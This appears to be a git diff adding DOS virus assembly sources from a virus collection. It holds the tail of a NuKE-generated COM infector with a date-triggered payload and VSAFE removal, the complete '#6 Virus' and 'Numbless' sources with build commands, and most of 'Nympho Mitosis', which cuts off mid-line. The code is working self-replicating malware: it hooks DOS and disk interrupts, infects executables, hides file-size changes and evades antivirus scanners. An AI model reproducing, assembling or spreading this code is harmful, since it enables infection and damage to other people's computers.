es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +add word ptr [di],0381h +dec byte ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$' + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 06H ;day for the action +action_mes Db 06H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/n/NUMBER-6.ASM b/n/NUMBER-6.ASM new file mode 100755 index 0000000..945a2b4 --- /dev/null +++ b/n/NUMBER-6.ASM @@ -0,0 +1,325 @@ +;***************************************************************************** +; #6 Virus * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Trident/Dark Helmet, The Netherlands * +; * +; The author(s) take(s) no responsibility for any damaged caused by * +; this virus. * +;***************************************************************************** + + .RADIX 16 +virus SEGMENT + MODEL SMALL + ASSUME cs:virus, ds:virus, es:virus + ORG 100h + +len EQU OFFSET last - begin + +dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of + ; viruscode. +begin: CALL start ; make a call to + ; push the IP on the + ; stack. +start: POP bp ; get the IP of the + ; stack. + SUB bp,108h ; adjust BP (=IP) + ; for offset of DATA. + +restore: MOV di,0100h ; copy the original + LEA si,ds:[carrier_begin+bp] ; host begin code back. + MOV cx,05h + REP MOVSB + +check: MOV ah,0a0h ; check if virus + INT 21h ; allready resident. + CMP ax,8654h + JE end_virus + +memory: MOV ax,cs ; DS = Memory Control + DEC ax ; Blok (MCB). + MOV ds,ax + CMP BYTE PTR ds:[0000],5ah ; check first byte if + JNE abort ; last MCB. + MOV ax,ds:[0003] ; decrease memory size. + SUB ax,40 + MOV ds:[0003],AX + + PUSH cs ; restore ds. + POP ds + +install: MOV bx,ax ; ES point where + MOV ax,es ; to copy virus in + ADD ax,bx ; memory. + MOV es,ax + + MOV cx,len ; copy virus to + LEA si,ds:[begin+bp] ; memory. + LEA di,es:0105 ; offset = 105 + REP MOVSB + MOV [virus_segment+bp],es ; store virus_segment + + PUSH cs ; restore es + POP es + +hook_vectors: CLI + + MOV ax,3521h ; hook int 21h + INT 21h + MOV ds,[virus_segment+bp] + MOV old_21h,bx + MOV old_21h+2,es + MOV dx,offset main_virus + MOV ax,2521h + INT 21h + + MOV ax,3512h ; hook int 12h + INT 21h + MOV old_12h,bx + MOV old_12h+2,es + MOV dx,offset new_12h + MOV ax,2512h + INT 21h + + STI + +abort: MOV ax,cs ; restore ds,es + MOV ds,ax + MOV es,ax + +end_virus: MOV bx,0100h ; jump to begin host + PUSH bx + XOR bx,bx + XOR bp,bp + XOR ax,ax + XOR cx,cx + RET + +;***************************************************************************** +; * +; This part will intercept the interuptvectors and copy itself to * +; other host programs * +; * +;***************************************************************************** + +main_virus: PUSHF + CMP ah,0a0h ; check if virus calls + JNE new_21h ; and return id. + MOV ax,8654h + POPF + IRET + +new_21h: PUSH ds ; new interupt 21 + PUSH es ; routine + PUSH di + PUSH si + PUSH ax + PUSH bx + PUSH cx + PUSH dx + PUSH sp + PUSH bp + +check_open: CMP ah,3dh ; check if a file is + JNE check_exec ; being opened + JMP chk_com + +check_exec: CMP ax,04b00h ; check if a file is + JNE continu ; executed + JMP chk_com + +continu: POP bp + POP sp + POP dx ; continu with + POP cx ; interrupt + POP bx + POP ax + POP si + POP di + POP es + POP ds + POPF + JMP DWORD PTR cs:[old_21h] + +chk_com: MOV cs:[name_seg],ds + MOV cs:[name_off],dx + CLD ; check if extension + MOV di,dx ; is COM file + PUSH ds + POP es + MOV al,'.' + REPNE SCASB + CMP WORD PTR es:[di],'OC' + JNE continu + CMP WORD PTR es:[di+2],'M' + JNE continu + + CMP WORD PTR es:[di-7],'MO' ; Check for + JNE error ; COMMAND.COM + CMP WORD PTR es:[di-5],'AM' + JNE error + CMP WORD PTR es:[di-3],'DN' + JE continu + +error: CALL int24h ; take care of error + ; messages + CALL set_atribute ; set atribute for + ; writing + +open_file: MOV ds,cs:[name_seg] ; open file + MOV dx,cs:[name_off] + MOV ax,3d02h + CALL do_int21h + JC close_file + PUSH cs + POP ds + MOV [handle],ax + MOV bx,ax + + CALL get_date + +check_infect: PUSH CS ; check if file + POP DS ; already infect + MOV BX,[handle] + MOV ah,3fh + MOV cx,05h + LEA dx,[carrier_begin] + CALL do_int21h + MOV al, BYTE PTR [carrier_begin]+3 ; look for + MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's + CMP ax,[initials] + JE save_date + +get_lenght: MOV ax,4200h + CALL move_pointer + MOV ax,4202h + CALL move_pointer + SUB AX,03h + MOV [lenght_file],ax + + CALL write_jmp ; write jump + ; instruction. + CALL write_virus ; write virus + ; body. + +save_date: PUSH CS + POP DS + MOV bx,[handle] + MOV dx,[date] + MOV cx,[time] + MOV ax,5701h + CALL do_int21h + +close_file: MOV bx,[handle] ; close file + MOV ah,3eh + CALL do_int21h + +restore_int24h: MOV dx,cs:[old_24h] ; restore int24 + MOV ds,cs:[old_24h+2] ; for critical + MOV ax,2524h ; error handling + CALL do_int21h + + JMP continu + +new_24h: MOV al,3 + IRET + +new_12h: JMP DWORD PTR cs:[old_12h] + SUB ax,50 + IRET + +;***************************************************************************** + +move_pointer: PUSH cs + POP ds + MOV bx,[handle] + XOR cx,cx + XOR dx,dx + CALL do_int21h + RET + +do_int21h: PUSHF + CALL DWORD PTR cs:[old_21h] + RET + +write_jmp: PUSH CS + POP DS + + MOV ax,4200h ; write jump + CALL move_pointer ; instruction + MOV ah,40h + MOV cx,01h + LEA dx,[jump] + CALL do_int21h + + MOV ah,40h ; write offset of + MOV cx,02h ; jump + LEA dx,[lenght_file] + CALL do_int21h + + MOV ah,40h ; write mark for + MOV cx,02h ; infection + LEA dx,[initials] + CALL do_int21h + RET + +write_virus: PUSH CS + POP DS + + MOV ax,4202h ; write main + CALL move_pointer ; virus body + MOV ah,40 ; at end of + MOV cx,len ; program + MOV dx,105h + CALL do_int21h + RET + +get_date: MOV ax,5700h + CALL do_int21h + PUSH cs + POP ds + MOV [date],dx + MOV [time],cx + RET + +int24h: MOV ax,3524h + CALL do_int21h + MOV cs:[old_24h],bx + MOV cs:[old_24h+2],es + MOV dx,offset new_24h + PUSH CS + POP DS + MOV AX,2524h + CALL do_int21h + RET + +set_atribute: MOV ax,4300h ; get atribute + MOV ds,cs:[name_seg] + MOV dx,cs:[name_off] + CALL do_int21h + + AND cl,0feh ; set atribute + MOV ax,4301h + CALL do_int21h + RET + +;***************************************************************************** + +text db '#6 Virus, Trident/The Netherlands 1992' +old_12h dw 00h,00h +old_21h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h,0cdh,020h,086h,054h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +handle dw ? +lenght_file dw ? +date dw ? +time dw ? +initials dw 5486h +last db 090h + +virus ends + end dummy diff --git a/n/NUMBLESS.ASM b/n/NUMBLESS.ASM new file mode 100755 index 0000000..84cd4f1 --- /dev/null +++ b/n/NUMBLESS.ASM @@ -0,0 +1,247 @@ + comment ^ +DOS.ExeHeader.Numbless.512 +(c) 1998 by Jacky Qwerty/29A. + +Description + +Ok, I had never written an ExeHeader virus, so I wrote this. It's a simple +DOS EXE infector which spreads by inserting itself through the blank spaces +of the exe header left by several compilers and assemblers. It basically +converts an EXE file into a COM image, hooks Int 13h and monitors disk +reads/writes at the sector level. When "something" looks like an MZ header +the virus looks for enough blanks in such header and copies itself to there. + +The virus is "full stealth" and doesn't infect EXE files larger than 64 Kb +for obvious reasons. It neither infects windows or device driver EXE files +in favor of stability. Needless to say, this virus has no chances to spread +wildly, since 1) It's a DOS virus and remember DOS is dying, if not dead +already heh, and 2) Have you ever seen plenty of such EXE files < 64 Kb ? +This virus, like any other virus that hooks Int 13h for "file" stealthing, +may have problems with cache drivers such as Smartdrive, Norton cache, etc. +if the "stealth" routine is not handled/programmed properly. Virus size was +first option so... The virus also employs a nifty antitracing/antidebugging +routine to avoid heuristic detection in memory. + +To build + + ml /c numb.asm (tasm is also ok) + link numb, numb.com + +Greets go to + +All VXers..... all of you who write creative viruses with/or fancy payloads. +Virusbuster... you should charge as a sentimental adviser man! #;). +Lord Julus.... a class apart VXer, keep up the good work dude! + +Disclaimer + +This source code is provided for educational purposes only. The author is +NOT responsible in any way for problems it may cause due to improper use! + +(c) 1998. Jacky Qwerty/29A. + ^ + +.model tiny +.186 + +PSP_b = 100h +v_b = v_end-v_start +v_w = (v_b+1)/2 +v_p = (v_b+15)/16 +stack_b = 100h +mem_b = (PSP_b+v_b+stack_b) and -2 +mem_p = (mem_b+15)/16 +jump = 0b3h +mark = (jump shl 8)+0e9h + +.code + org 0h +start: + jmp v_start + org jump+3 +v_start: mov bp,8 + mov di,100h + mov si,ds + lea dx,[si+10h] + add [bp-8+di-100h+10eh],dx + mov bx,[bp-8+di-100h+118h] + mov cx,[di-100h+106h] + add [di-100h+116h],dx + lea si,[bx+di] + cld + jcxz no_relocs + fix_relocs: lodsw + xchg ax,bx + lodsw + add ax,dx + add ax,[di-100h+bp-8+108h] + mov es,ax + add es:[bx],dx + loop fix_relocs + no_relocs: mov ax,[bp-8+2] + and si,cx + mov cl,(200h-4)/2 + lea bx,[bp-8+di-100h+high_mem-start] + add ax,-20h + xchg si,di + push ax + add dx,[si-100h+bp-8+108h] + mov es,ax + push bx + push si + rep movsw + push ds + xor si,si + dec cx + xchg ax,cx + int 13h + cld + xchg ax,cx + jcxz i_was_here + push es + mov ds,si + lea ax,[bp-8+si-0+47h] + push ax + xchg ax,[si-0+4ch] + stosw + pop ax + mov bx,ss + dec bx + push ax + xchg ax,[si-0+4eh] + stosw + pop di + mov ds,bx + add word ptr [di-47h+3],-20h + pop ds + mov [bp-8+si-0+2],es + mov si,offset low_code + push di + lea cx,[bp-8+di-47h+low_code_size/2] + mov [si+vir_seg-low_code],es + pop es + rep movsw + i_was_here: pop es + pop di + retf + old_byte: + db ? + + low_code: push ax + pushf + pop ax + and ah,0feh + push ax + popf + pop ax + db 0eah + dw offset new_int13 + vir_seg dw ? + low_code_size = $-low_code + + high_mem: push cx + mov ds,dx + mov ax,[bp-8+di-100h+104h] + pop si + mul di + xchg ax,cx + push es + rep movsw + pop ds + mov ah,0dh + int 21h + cli + mov ss,cs:[bp-8+0eh] + mov sp,cs:[bp-8+10h] + sti + jmp dword ptr cs:[bp-8+14h] + flop: + lea di,[bx+si] + mov cl,v_w + sub word ptr [bx],'ZM'- mark + ;rep movs word ptr es:[di], word ptr cs:[si] + db 2eh + rep movsw + xchg cl,[bx+2] + mov [di+old_byte-v_end],cl + pop cx + push cx + sub ax,-301h + pushf + push cs + call other + jmp short check +new_int13: + cli + push ax + push -1 + inc sp + dec sp + pop ax + inc ax + pop ax + sti + jnz retf_2 + inc ax + jz retf_2 + dec ax + test ah,0fch + jnz other + test ah,0b6h + jz other + pushf + push cs + mov cs:[sectors],al + call other + jc retf_2 + push ds + pusha + push cx + check: mov ax,-'ZM' + push es + pop ds + add ax,[bx] + jz mark_or_mz + sub ax,mark -'ZM' + jnz end_rd_wr_ok + inc ax + mark_or_mz: cmp byte ptr [bx+18h],40h + jnc end_rd_wr + mov si,v_start-start + cld + dec ax + mov cx,v_w + lea di,[bx+si] + jz chk_mark + infect_mz: cmp ax,[di+start-v_start+200h] + jz end_rd_wr_ok + cmp word ptr [bx+4],7fh + ja end_rd_wr_ok + inc ax + repz scasw + jnz end_rd_wr_ok + test dl,dl + jns flop + mov cl,0 + sectors = byte ptr $-1 + loop flop + chk_mark: cmp word ptr [di],1234h + org $-2 + mov bp,8 + org $-1 + jnz end_rd_wr_ok + mov si,[di+old_byte-v_start-1] + rep stosw + mov [bx+1],si + xor word ptr [bx],'ZM' xor ((mark and 00ffh) or 0cb00h) + end_rd_wr_ok: clc + end_rd_wr: pop cx + popa + pop ds + retf_2: retf 2 + other: + db 0eah +v_end: + dd ? + + end start diff --git a/n/NYMPHMIT.ASM b/n/NYMPHMIT.ASM new file mode 100755 index 0000000..8847cf7 --- /dev/null +++ b/n/NYMPHMIT.ASM @@ -0,0 +1,492 @@ + .model tiny ;_ASSUME CS=DS=ES=SS + .code ;/ + org 100h ;Origin @ 100h (COM File) + ; +start: ;Marks Start of Source +v_start: ;Marks Start of Virus + mov bp,000h ;<Ŀ Constantly ;** Get Rid of TBAV's +delta equ $-002h ;< Changing ;** Flexible Entry Point + ; + push ds es ;Save Segments onto Stack + ; + mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT + int 021h ;DOS Services + ; + cmp ax,003Dh ;Is the Virus Resident? + je restoreCOMEXEfile ;Jump if Equal/Zero + ; + cwd ;Load Register w/Zero + mov ds,dx ;DS=>Starting of INT Table + xchg di,dx ;Load Register w/Zero + ; + lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX + mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset + mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment + ; + mov ax,es ;ES=PSP=AX + dec ax ;Decrement for Last MCB + mov ds,ax ;AX=Last MCB=DS + ; + cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain? + jne restoreCOMEXEfile ;Jump if Not Equal/Zero + ; + mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last + sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h + sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h + ; + mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB + ; + mov ds,ax ;DS=Location of Virus MCB + inc ax ;Increment for Mem Loc + mov es,ax ;AX=Memory Location=ES + ; + mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain + mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB + mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d + ; + push cs ;Push Segment onto Stack + pop ds ;Restore into DS (CS=DS) + ; + cld ;Clear Direction Flag + mov di,100h ;DI=Location in Memory + lea si,[bp+v_start] ;SI=Source of Data + mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes + rep movsw ;Word @ DS:[SI]=>ES:[DI] + ; + mov ds,cx ;CX=000h=DS=Int Table + ; + cli ;Turn OFF Interrupts + mov word ptr ds:[084h],offset Int21Handler + mov word ptr ds:[086h],es ;Location in Memory + sti ;Turn ON Interrupts + ; +restoreCOMEXEfile: ; + pop es ds ;Restore Segments + ; + mov ax,5A4Dh ;AX=5A4Dh (MZ) + lea si,cs:[bp+host_bytes] ;SI=Host_Bytes + ; + cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host? + je restoreEXEfile ;Jump if Equal/Zero + ; + xchg ah,al ;Exchange Registers (ZM) + ; + cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host? + je restoreEXEfile ;Jump if Equal/Zero + ; +restoreCOMfile: ; + mov di,0FFh ;DI=Location in Memory + inc di ;Increment for Real Loc + push di ;Push DI onto Stack + mov byte ptr [di],0C3h ;** Here, we screw up + ;** the file _if_ TBClean + call di ;** is being run. + ;** Thanks LM! + movsw ;Word @ DS:[SI]=>ES:[DI] + movsb ;Byte @ DS:[SI]=>ES:[DI] + ; + retn ;Return to Host Program + ; +restoreEXEfile: ; + mov ax,es ;ES=PSP=AX + ; + add ax,010h ;Skip One Segment for CS + add ax,word ptr cs:[si+016h] ;Calculate Start of Prog + ; + push ax ;Push New CS to Stack + push word ptr cs:[si+014h] ;Push IP to Stack + ; + retf ;Return to Host Program + ; + db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus + db "Copyright (c) 1993 Memory Lapse",000h + ; +Int21Handler: ; + cmp ax,5D3Dh ;Is Virus Checking? + jne check_execute ;Jump if Not Equal/Zero + ; + cbw ;Convert AL to AX + ; + iret ;Interrupt Return + ; +check_execute: ; + cmp ah,011h ;Are We Doing a DIR? + je _FCBStealth ;Jump if Equal/Zero + ; (DOS) + cmp ah,012h ;Are We Doing a DIR? + je _FCBStealth ;Jump if Equal/Zero + ; (DOS) + cmp ah,04Eh ;Are We Doing a DIR? + je _DTAStealth ;Jump if Equal/Zero + ; (4DOS) + cmp ah,04Fh ;Are We Doing a DIR? + je _DTAStealth ;Jump if Equal/Zero + ; (4DOS) + push ax bx cx dx di si ds es ;Push Registers onto Stack + ; + cmp ax,6C00h ;Are We Extended Opening? + je __disinfectCOMEXEfile ;Jump if Equal/Zero + ; + cmp ah,03Dh ;Are We Opening? + je _disinfectCOMEXEfile ;Jump if Equal/Zero + ; + dec ax ;** Get Rid of TBAV's + ;** Traps Loading of SW. + cmp ax,4AFFh ;Are We Executing? + je _infectCOMEXEfile ;Jump if Equal/Zero + ; +_Interrupt21h: ; + pop es ds si di dx cx bx ax ;Restore Registers + ; +Interrupt21h: ; + db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO + ; +Int21hOffset equ $-004h ;Buffer for Int 21 Offset +Int21hSegment equ $-002h ;Buffer for Int 21 Segment + ; +_FCBStealth: ; + jmp FCBStealth ;Unconditional Jump + ; +_DTAStealth: ; + jmp DTAStealth ;Unconditional Jump + ; +_infectCOMEXEfile: ; + jmp infectCOMEXEfile ;Unconditional Jump + ; +__disinfectCOMEXEfile: ; + xchg dx,si ;SI=File Name=>DX + ; +_disinfectCOMEXEfile: ; + jmp disinfectCOMEXEfile ;Unconditional Jump + ; +FCBStealth: ; + pushf ;Push Flags to Top of Stck + push cs ;Push Segment onto Stack + call Interrupt21h ;Simulate Interrupt + ; + test al,al ;Was There an Error? + jnz endFCBstealth ;Jump if Not Equal/Zero + ; + push es dx cx bx ax ;Push Registers onto Stack + ; + mov ah,051h ;AH=51h / GET PSP ADDRESS + int 021h ;DOS Services + ; + mov es,bx ;BX=Address=ES + ; + cmp bx,word ptr es:[016h] ;Is This a Parent PSP? + jne restoreFCBregisters ;Jump if Not Equal/Zero + ; + mov bx,dx ;DX=BX + mov al,[bx] ;Get First Byte of FCB + ; + push ax ;Save Byte onto Stack + ; + mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS + int 021h ;DOS Services + ; + pop ax ;Restore AX + ; + inc al ;Is This an Extended FCB? + jnz checkFCBinfected ;Jump if Not Equal/Zero + ; + add bx,007h ;Convert to Normal FCB + ; +checkFCBinfected: ; + mov cx,word ptr es:[bx+017h] ;CX=Time + mov dx,word ptr es:[bx+019h] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz restoreFCBregisters ;Jump if Not Equal/Zero + ; + sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length + sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow + ; +restoreFCBregisters: ; + pop ax bx cx dx es ;Restore Registers + ; +endFCBstealth: ; + iret ;Interrupt Return + ; +DTAStealth: ; + pushf ;Push Flags to Top of Stck + push cs ;Push Segment onto Stack + call Interrupt21h ;Simulate Interrupt + ; + jc endDTAstealth ;Jump if Carry Flag Set + ; + push es dx cx bx ax ;Save Registers onto Stack + ; + mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS + int 021h ;DOS Services + ; + mov cx,word ptr es:[bx+016h] ;CX=Time + mov dx,word ptr es:[bx+018h] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz restoreDTAregisters ;Jump if Not Equal/Zero + ; + sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size + sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow + ; +restoreDTAregisters: ; + pop ax bx cx dx es ;Restore Registers + ; +endDTAstealth: ; + retf 002h ;Return Far (POP 2 WORDS) + ; +disinfectCOMEXEfile: ; + call OpenAndGetSFT ;Call Procedure + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jnz disinfect_close ;Jump if Not Equal/Zero + ; + call LSeek ;Move File Pointer to End + ; + xchg cx,dx ;Exchange Register Values + xchg dx,ax ;Exchange Register Values + ; + push dx cx ;Save File Size to Stack + ; + sub dx,018h ;Subtract 18 for Host_Byte + sbb cx,000h ;Subtract if Borrow + ; + mov word ptr es:[di+015h],dx ;Move File Pointer to + mov word ptr es:[di+017h],cx ;Starting of Host_Bytes + ; + mov dx,offset temp_buffer ;DX=Buffer for Data + mov cx,018h ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + pop cx dx ;Restore File Size + ; + sub dx,(v_end-v_start) ;Subtract Virus Size + sbb cx,000h ;Subtract if Borrow + ; + mov word ptr es:[di+015h],dx ;Move File Pointer to + mov word ptr es:[di+017h],cx ;Starting of Virus + ; + sub cx,cx ;Load Register w/Zero + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + and cl,0E0h ;Unmask Seconds Field + or cl,008h ;Set Seconds to 016d + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + jmp preCLOSECOMEXEfile ;Unconditional Jump + ; +disinfect_close: ; + jmp closeCOMEXEfile ;Unconditional Jump + ; +infectCOMEXEfile: ; + call OpenAndGetSFT ;Call Procedure + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + and cx,01Fh ;Unmask Seconds Field + and dx,01Fh ;Unmask Day Field + ; + xor cx,dx ;Are They the Same? + jz _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + cmp word ptr 